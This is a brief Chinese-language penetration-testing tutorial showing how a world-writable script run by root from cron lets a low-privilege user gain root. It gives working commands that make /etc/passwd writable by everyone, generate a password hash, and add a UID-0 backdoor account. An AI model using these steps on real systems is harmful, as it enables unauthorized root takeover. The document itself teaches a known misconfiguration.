Linux 定时任务提权
- 1.概述
- 2.定时任务创建
- 3.提权步骤
1.概述
定时任务(cron job)是Linux系统中的一个守护进程,用于调度重复任务,通过配置crontab可以让系统周期性地执行某些命令或者脚本。cron 是 Linux 系统中最为实用的工具之一,但是也可能被黑客用于提权操作。由于cron通常以root特权运行,如果我们可以修改其调度的任何脚本或二进制文件,那么便可以使用root权限执行任意代码
2.定时任务创建
编写一个脚本test.py ,将其权限置为所有用户可读可写可操作:chmod 777 test.py
而后修改crontab文件,将定时任务注册到系统中:vim /etc/crontab
,在末尾加上“*/1 * * * * root python /home/ubuntu/test.py
”,表示每1分钟运行一次test.py:
3.提权步骤
假设通过之前的渗透操作,获得了低权限的用户ubuntu
查看crontab文件:cat /etc/crontab
,发现存在定时任务,以root身份定时运行/home/ubuntu/test.py
。而test.py文件是任意成员可写的,于是向其代码尾部追加以下内容:
# 将passwd文件权限设置为任意成员可写
os.chmod(“/etc/passwd”,stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)
一分钟之后,程序自动运行,发现passwd已经任意成员可写
接下来需要做的就是构造一个用户,在密码占位符处指定密码,UID设置为0,并将其添加到 /etc/passwd
文件中:
使用perl语言生成带有盐值的密码:
perl -le 'print crypt("123456","addedsalt")'
而后,拼接密码,将以下字符串写入/etc/passwd
文件,之后便拥有了一个超级用户tom:123456
tom:adrla7IBSfTZQ:0:0:hahaha:/root:/bin/bash
最后,登录tom用户,权限为root,提权成功!